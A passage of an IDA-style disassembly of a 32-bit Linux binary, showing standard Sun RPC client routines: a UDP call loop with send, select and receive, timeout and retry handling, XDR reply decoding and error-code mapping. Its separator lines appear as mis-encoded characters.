= byte ptr -80h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_64 = dword ptr -64h var_60 = dword ptr -60h var_50 = byte ptr -50h var_40 = dword ptr -40h var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 0CCh push edi push esi push ebx mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_A8], eax mov [ebp+var_B8], 2 cmp dword ptr [eax+28h], 0FFFFFFFFh jnz short loc_8064474 mov ecx, [ebp+arg_18] mov [ebp+var_C0], ecx mov ecx, [ebp+arg_1C] mov [ebp+var_BC], ecx jmp short loc_806448C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064474: ; CODE XREF: sub_8064438+26j mov edi, [ebp+var_A8] mov eax, [edi+24h] mov [ebp+var_C0], eax mov eax, [edi+28h] mov [ebp+var_BC], eax loc_806448C: ; CODE XREF: sub_8064438+3Aj mov [ebp+var_B4], 0 mov [ebp+var_B0], 0 loc_80644A0: ; CODE XREF: sub_8064438+422j mov ecx, [ebp+var_A8] add ecx, 38h mov [ebp+var_AC], ecx mov edi, [ebp+var_A8] mov dword ptr [edi+38h], 0 mov eax, [edi+3Ch] mov edx, [edi+50h] push edx push ecx mov edx, [eax+14h] call edx mov edx, [edi+58h] inc word ptr [edx] mov ecx, [edi+3Ch] lea edx, [ebp+arg_4] push edx mov edi, [ebp+var_AC] push edi mov edx, [ecx+4] call edx mov edx, eax add esp, 10h test edx, edx jz short loc_806451C mov eax, [ebp+arg_0] mov edx, [eax] mov ecx, [edx+20h] push edi push edx mov edx, [ecx+4] call edx mov edx, eax add esp, 8 test edx, edx jz short loc_806451C mov edi, [ebp+arg_C] push edi mov eax, [ebp+var_AC] push eax mov ecx, [ebp+arg_8] call ecx mov edx, eax add esp, 8 test edx, edx jnz short loc_8064534 loc_806451C: ; CODE XREF: sub_8064438+B1j ; sub_8064438+C9j mov edi, [ebp+var_A8] mov dword ptr [edi+2Ch], 1 mov eax, 1 jmp loc_8064876 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064534: ; CODE XREF: sub_8064438+E2j mov eax, [ebp+var_AC] mov edx, [eax+4] push eax mov edx, [edx+10h] call edx mov ebx, eax add esp, 4 loc_8064548: ; CODE XREF: sub_8064438+260j ; sub_8064438+280j mov ecx, [ebp+var_A8] mov edx, [ecx+18h] push edx mov edx, [ebp+var_A8] add edx, 8 push edx push 0 push ebx mov edx, [ecx+58h] push edx mov edx, [ecx] push edx call sendto mov edx, eax add esp, 18h cmp edx, ebx jz short loc_8064594 mov edx, errno mov edi, [ebp+var_A8] mov [edi+30h], edx mov dword ptr [edi+2Ch], 3 mov eax, 3 jmp loc_8064876 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064594: ; CODE XREF: sub_8064438+13Aj cmp [ebp+var_C0], 0 jnz short loc_80645AA cmp [ebp+var_BC], 0 jz loc_80646BE loc_80645AA: ; CODE XREF: sub_8064438+163j mov edx, dword_8079230 mov [ebp+var_74], edx mov edx, dword_8079234 mov [ebp+var_70], edx mov edx, dword_8079238 mov [ebp+var_6C], edx mov ecx, [ebp+arg_14] mov [ebp+var_64], ecx mov edi, [ebp+arg_10] mov [ebp+var_60], edi lea edx, [ebp+var_40] xor eax, eax mov ecx, 8 mov edi, edx cld repe stosd mov eax, [ebp+var_A8] mov eax, [eax] bts [ebp+var_40], eax loc_80645EC: ; CODE XREF: sub_8064438+2A7j ; sub_8064438+31Cj ... lea edx, [ebp+var_20] lea esi, [ebp+var_40] mov edi, edx cld mov ecx, 8 repe movsd mov eax, [ebp+var_A8] mov edx, [eax+1Ch] mov [ebp+var_A0], edx mov edx, [eax+20h] mov [ebp+var_9C], edx lea edx, [ebp+var_A0] push edx push 0 push 0 lea edx, [ebp+var_20] push edx call sub_80649C0 mov edx, eax push edx call __select mov edx, eax add esp, 14h cmp edx, 0FFFFFFFFh jz loc_80646D8 test edx, edx jnz loc_8064708 mov ecx, [ebp+var_A8] mov ecx, [ecx+1Ch] add [ebp+var_B4], ecx mov edi, [ebp+var_A8] mov edi, [edi+20h] add [ebp+var_B0], edi cmp [ebp+var_B0], 0F423Fh jle short loc_806468C loc_8064670: ; CODE XREF: sub_8064438+252j inc [ebp+var_B4] add [ebp+var_B0], 0FFF0BDC0h cmp [ebp+var_B0], 0F423Fh jg short loc_8064670 loc_806468C: ; CODE XREF: sub_8064438+236j mov eax, [ebp+var_C0] cmp [ebp+var_B4], eax jl loc_8064548 mov ecx, [ebp+var_C0] cmp [ebp+var_B4], ecx jnz short loc_80646BE mov edi, [ebp+var_BC] cmp [ebp+var_B0], edi jl loc_8064548 loc_80646BE: ; CODE XREF: sub_8064438+16Cj ; sub_8064438+272j mov eax, [ebp+var_A8] mov dword ptr [eax+2Ch], 5 mov eax, 5 jmp loc_8064876 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80646D8: ; CODE XREF: sub_8064438+200j cmp errno, 4 jz loc_80645EC mov edx, errno mov ecx, [ebp+var_A8] mov [ecx+30h], edx mov dword ptr [ecx+2Ch], 4 mov eax, 4 jmp loc_8064876 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064708: ; CODE XREF: sub_8064438+208j ; sub_8064438+313j mov [ebp+var_A4], 10h lea edx, [ebp+var_A4] push edx lea edx, [ebp+var_50] push edx push 0 mov edi, [ebp+var_A8] mov edx, [edi+5Ch] push edx mov edx, [ebp+var_A8] add edx, 60h push edx mov edx, [edi] push edx call recvfrom mov esi, eax add esp, 18h test esi, esi jge short loc_806477C cmp errno, 4 jz short loc_8064708 cmp errno, 0Bh jz loc_80645EC jz loc_80645EC mov edx, errno mov [edi+30h], edx mov dword ptr [edi+2Ch], 4 mov eax, 4 jmp loc_8064876 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806477C: ; CODE XREF: sub_8064438+30Aj cmp esi, 3 jbe loc_80645EC mov eax, [ebp+var_A8] mov eax, [eax+58h] mov ecx, [ebp+var_A8] mov edx, [ecx+60h] cmp [eax], edx jnz loc_80645EC push 1 push esi mov edx, [ebp+var_A8] add edx, 60h push edx lea ebx, [ebp+var_98] push ebx call xdrmem_create lea esi, [ebp+var_80] push esi push ebx call xdr_replymsg add esp, 18h test eax, eax jz loc_8064860 mov edx, [ebp+var_A8] add edx, 2Ch push edx push esi call sub_8064DE0 add esp, 8 mov edi, [ebp+var_A8] cmp dword ptr [edi+2Ch], 0 jnz short loc_8064834 mov eax, [ebp+arg_0] mov eax, [eax] mov ecx, [eax+20h] lea edx, [ebp+var_74] push edx push eax mov edx, [ecx+8] call edx mov edx, eax add esp, 8 test edx, edx jnz short loc_8064815 mov dword ptr [edi+2Ch], 7 mov dword ptr [edi+30h], 6 loc_8064815: ; CODE XREF: sub_8064438+3CDj cmp [ebp+var_70], 0 jz short loc_806486D mov edi, [ebp+var_AC] mov dword ptr [edi], 2 lea edx, [ebp+var_74] push edx push edi call xdr_opaque_auth jmp short loc_806486D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064834: ; CODE XREF: sub_8064438+3B2j cmp [ebp+var_B8], 0 jle short loc_806486D mov eax, [ebp+arg_0] mov edx, [eax] mov ecx, [edx+20h] push edx mov edx, [ecx+0Ch] call edx mov edx, eax add esp, 4 test edx, edx jz short loc_806486D dec [ebp+var_B8] jmp loc_80644A0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064860: ; CODE XREF: sub_8064438+38Fj mov edi, [ebp+var_A8] mov dword ptr [edi+2Ch], 2 loc_806486D: ; CODE XREF: sub_8064438+3E1j ; sub_8064438+3F9j ... mov eax, [ebp+var_A8] mov eax, [eax+2Ch] loc_8064876: ; CODE XREF: sub_8064438+F6j ; sub_8064438+157j ... lea esp, [ebp+var_D8] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8064438 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8064884 proc near ; DATA XREF: .data:080791C8o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [eax+8] mov eax, [edx+2Ch] mov [ecx], eax mov eax, [edx+30h] mov [ecx+4], eax mov eax, [edx+34h] mov [ecx+8], eax mov esp, ebp pop ebp retn sub_8064884 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80648A8 proc near ; DATA XREF: .data:080791CCo var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov ecx, [ebp+arg_8] mov eax, [eax+8] lea edx, [eax+38h] mov dword ptr [eax+38h], 2 push ecx push edx call ebx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_80648A8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80648D0 proc near ; DATA XREF: .data:080791C4o push ebp mov ebp, esp mov esp, ebp pop ebp retn sub_80648D0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80648D8 proc near ; DATA XREF: .data:080791D4o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx mov edx, [ebp+arg_0] mov ebx, [ebp+arg_8] mov eax, [edx+8] mov edx, [ebp+arg_4] dec edx cmp edx, 4 ; switch 5 cases ja short loc_8064968 ; default jmp ds:off_80648F8[edx*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 off_80648F8 dd offset loc_806490C ; DATA XREF: sub_80648D8+16r dd offset loc_806491C ; jump table for switch statement dd offset loc_806494C dd offset loc_806492C dd offset loc_806493C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806490C: ; CODE XREF: sub_80648D8+16j ; DATA XREF: sub_80648D8+20o mov edx, [ebx] ; case 0x0 mov ecx, [ebx+4] mov [eax+24h], edx mov [eax+28h], ecx jmp short loc_806496C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806491C: ; CODE XREF: sub_80648D8+16j ; DATA XREF: sub_80648D8+20o mov edx, [eax+24h] ; case 0x1 mov ecx, [eax+28h] mov [ebx], edx mov [ebx+4], ecx jmp short loc_806496C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806492C: ; CODE XREF: sub_80648D8+16j ; DATA XREF: sub_80648D8+20o mov edx, [ebx] ; case 0x3 mov ecx, [ebx+4] mov [eax+1Ch], edx mov [eax+20h], ecx jmp short loc_806496C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806493C: ; CODE XREF: sub_80648D8+16j ; DATA XREF: sub_80648D8+20o mov edx, [eax+1Ch] ; case 0x4 mov ecx, [eax+20h] mov [ebx], edx mov [ebx+4], ecx jmp short loc_806496C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_806494C: ; CODE XREF: sub_80648D8+16j ; DATA XREF: sub_80648D8+20o mov edx, [eax+8] ; case 0x2 mov [ebx], edx mov edx, [eax+0Ch] mov [ebx+4], edx mov edx, [eax+10h] mov [ebx+8], edx mov edx, [eax+14h] mov [ebx+0Ch], edx jmp short loc_806496C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064968: ; CODE XREF: sub_80648D8+14j xor eax, eax ; default jmp short loc_8064971 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806496C: ; CODE XREF: sub_80648D8+3Fj ; sub_80648D8+4Fj ... mov eax, 1 loc_8064971: ; CODE XREF: sub_80648D8+92j mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_80648D8 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8064978 proc near ; DATA XREF: .data:080791D0o var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [esi+8] cmp dword ptr [ebx+4], 0 jz short loc_8064994 mov eax, [ebx] push eax call __libc_close add esp, 4 loc_8064994: ; CODE XREF: sub_8064978+Fj mov edx, [ebx+3Ch] cmp dword ptr [edx+1Ch], 0 jz short loc_80649A9 lea eax, [ebx+38h] push eax mov eax, [edx+1Ch] call eax add esp, 4 loc_80649A9: ; CODE XREF: sub_8064978+23j push ebx call free push esi call free lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8064978 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_80649C0 proc near ; CODE XREF: sub_8064074+5Bp ; sub_8064438+1EBp push ebp mov ebp, esp cmp ds:dword_807E754, 0 jnz short loc_80649D6 call sub_8065C48 mov ds:dword_807E754, eax loc_80649D6: ; CODE XREF: sub_80649C0+Aj mov eax, ds:dword_807E754 mov esp, ebp pop ebp retn sub_80649C0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [000000E6 BYTES: COLLAPSED FUNCTION pmap_getport. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000053 BYTES: COLLAPSED FUNCTION xdr_pmap. PRESS KEYPAD "+" TO EXPAND] align 4 ; [0000003C BYTES: COLLAPSED FUNCTION xdr_opaque_auth. PRESS KEYPAD "+" TO EXPAND] ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 push ebp mov ebp, esp mov edx, [ebp+8] mov eax, [ebp+0Ch] push 8 push eax push edx call sub_8065120 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000076 BYTES: COLLAPSED FUNCTION xdr_accepted_reply. PRESS KEYPAD "+" TO EXPAND] align 4 push ebp mov ebp, esp push esi push ebx mov esi, [ebp+8] mov ebx, [ebp+0Ch] push ebx push esi call sub_806510C add esp, 8 test eax, eax jz short loc_8064C3C mov eax, [ebx] test eax, eax jz short loc_8064C10 cmp eax, 1 jz short loc_8064C30 jmp short loc_8064C3C ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064C10: ; CODE XREF: .text:08064C05j lea eax, [ebx+4] push eax push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_8064C3C lea eax, [ebx+8] push eax push esi call sub_8064F10 jmp short loc_8064C3E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064C30: ; CODE XREF: .text:08064C0Aj lea eax, [ebx+4] push eax push esi call sub_806510C jmp short loc_8064C3E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064C3C: ; CODE XREF: .text:08064BFFj ; .text:08064C0Cj ... xor eax, eax loc_8064C3E: ; CODE XREF: .text:08064C2Bj ; .text:08064C3Aj lea esp, [ebp-8] pop ebx pop esi mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [00000053 BYTES: COLLAPSED FUNCTION xdr_replymsg. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8064C9C proc near ; CODE XREF: clnttcp_create+188p ; clntudp_bufcreate+162p var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov dword ptr [ebx+4], 0 mov dword ptr [ebx+8], 2 cmp dword ptr [esi], 0 jnz short loc_8064D08 push ebx push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_8064D08 lea eax, [ebx+4] push eax push esi call sub_806510C add esp, 8 test eax, eax jz short loc_8064D08 lea eax, [ebx+8] push eax push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_8064D08 lea eax, [ebx+0Ch] push eax push esi call sub_8064F10 add esp, 8 test eax, eax jz short loc_8064D08 lea eax, [ebx+10h] push eax push esi call sub_8064F10 jmp short loc_8064D0A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064D08: ; CODE XREF: sub_8064C9C+1Cj ; sub_8064C9C+2Aj ... xor eax, eax loc_8064D0A: ; CODE XREF: sub_8064C9C+69j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8064C9C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8064D14 proc near ; CODE XREF: sub_8064DE0+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] cmp edx, 5 ; switch 6 cases ja short loc_8064D8C ; default jmp ds:off_8064D2C[edx*4] ; switch jump ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 off_8064D2C dd offset loc_8064D80 ; DATA XREF: sub_8064D14+Er dd offset loc_8064D44 ; jump table for switch statement dd offset loc_8064D50 dd offset loc_8064D5C dd offset loc_8064D68 dd offset loc_8064D74 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064D44: ; CODE XREF: sub_8064D14+Ej ; DATA XREF: sub_8064D14+18o mov dword ptr [eax], 8 ; case 0x1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064D50: ; CODE XREF: sub_8064D14+Ej ; DATA XREF: sub_8064D14+18o mov dword ptr [eax], 9 ; case 0x2 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064D5C: ; CODE XREF: sub_8064D14+Ej ; DATA XREF: sub_8064D14+18o mov dword ptr [eax], 0Ah ; case 0x3 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064D68: ; CODE XREF: sub_8064D14+Ej ; DATA XREF: sub_8064D14+18o mov dword ptr [eax], 0Bh ; case 0x4 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064D74: ; CODE XREF: sub_8064D14+Ej ; DATA XREF: sub_8064D14+18o mov dword ptr [eax], 0Ch ; case 0x5 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064D80: ; CODE XREF: sub_8064D14+Ej ; DATA XREF: sub_8064D14+18o mov dword ptr [eax], 0 ; case 0x0 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064D8C: ; CODE XREF: sub_8064D14+Cj mov dword ptr [eax], 10h ; default mov dword ptr [eax+4], 0 mov [eax+8], edx mov esp, ebp pop ebp retn sub_8064D14 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8064DA0 proc near ; CODE XREF: sub_8064DE0+3Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] cmp edx, 1 jz short loc_8064DC0 jb short loc_8064DB5 cmp edx, 6 jnz short loc_8064DCC loc_8064DB5: ; CODE XREF: sub_8064DA0+Ej mov dword ptr [eax], 6 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064DC0: ; CODE XREF: sub_8064DA0+Cj mov dword ptr [eax], 7 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064DCC: ; CODE XREF: sub_8064DA0+13j mov dword ptr [eax], 10h mov dword ptr [eax+4], 1 mov [eax+8], edx mov esp, ebp pop ebp retn sub_8064DA0 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8064DE0 proc near ; CODE XREF: sub_8063D20+1A0p ; sub_8064438+3A0p var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov eax, [esi+8] test eax, eax jz short loc_8064DFC cmp eax, 1 jz short loc_8064E18 jmp short loc_8064E24 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064DFC: ; CODE XREF: sub_8064DE0+10j cmp dword ptr [esi+18h], 0 jnz short loc_8064E0C mov dword ptr [ebx], 0 jmp short loc_8064E68 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064E0C: ; CODE XREF: sub_8064DE0+20j push ebx mov eax, [esi+18h] push eax call sub_8064D14 jmp short loc_8064E30 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064E18: ; CODE XREF: sub_8064DE0+15j push ebx mov eax, [esi+0Ch] push eax call sub_8064DA0 jmp short loc_8064E30 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064E24: ; CODE XREF: sub_8064DE0+17j mov dword ptr [ebx], 10h mov eax, [esi+8] mov [ebx+4], eax loc_8064E30: ; CODE XREF: sub_8064DE0+36j ; sub_8064DE0+42j mov eax, [ebx] cmp eax, 7 jz short loc_8064E54 ja short loc_8064E40 cmp eax, 6 jz short loc_8064E48 jmp short loc_8064E68 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064E40: ; CODE XREF: sub_8064DE0+57j cmp eax, 9 jz short loc_8064E5C jmp short loc_8064E68 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064E48: ; CODE XREF: sub_8064DE0+5Cj mov eax, [esi+10h] mov [ebx+4], eax mov eax, [esi+14h] jmp short loc_8064E65 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8064E54: ; CODE XREF: sub_8064DE0+55j mov eax, [esi+10h] mov [ebx+4], eax jmp short loc_8064E68 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8064E5C: ; CODE XREF: sub_8064DE0+63j mov eax, [esi+1Ch] mov [ebx+4], eax mov eax, [esi+20h] loc_8064E65: ; CODE XREF: sub_8064DE0+71j mov [ebx+8], eax loc_8064E68: ; CODE XREF: sub_8064DE0+28j ; sub_8064DE0+5Ej ... lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8064DE0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; [0000001E BYTES: COLLAPSED FUNCTION xdr_free. PRESS KEYPAD "+" TO EXPAND] align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8064E94 proc near ; DATA XREF: sub_8063D20+15Ao push ebp mov ebp, esp mov eax, 1 mov esp, ebp pop ebp retn sub_8064E94 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8064EA0 proc near ; CODE XREF: .text:08065038p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push eax push edx call sub_8064EC8 mov esp, ebp pop ebp retn sub_8064EA0 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8064EB4 proc near ; CODE XREF: .text:08065074p ; sub_80651B8+18p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] push eax 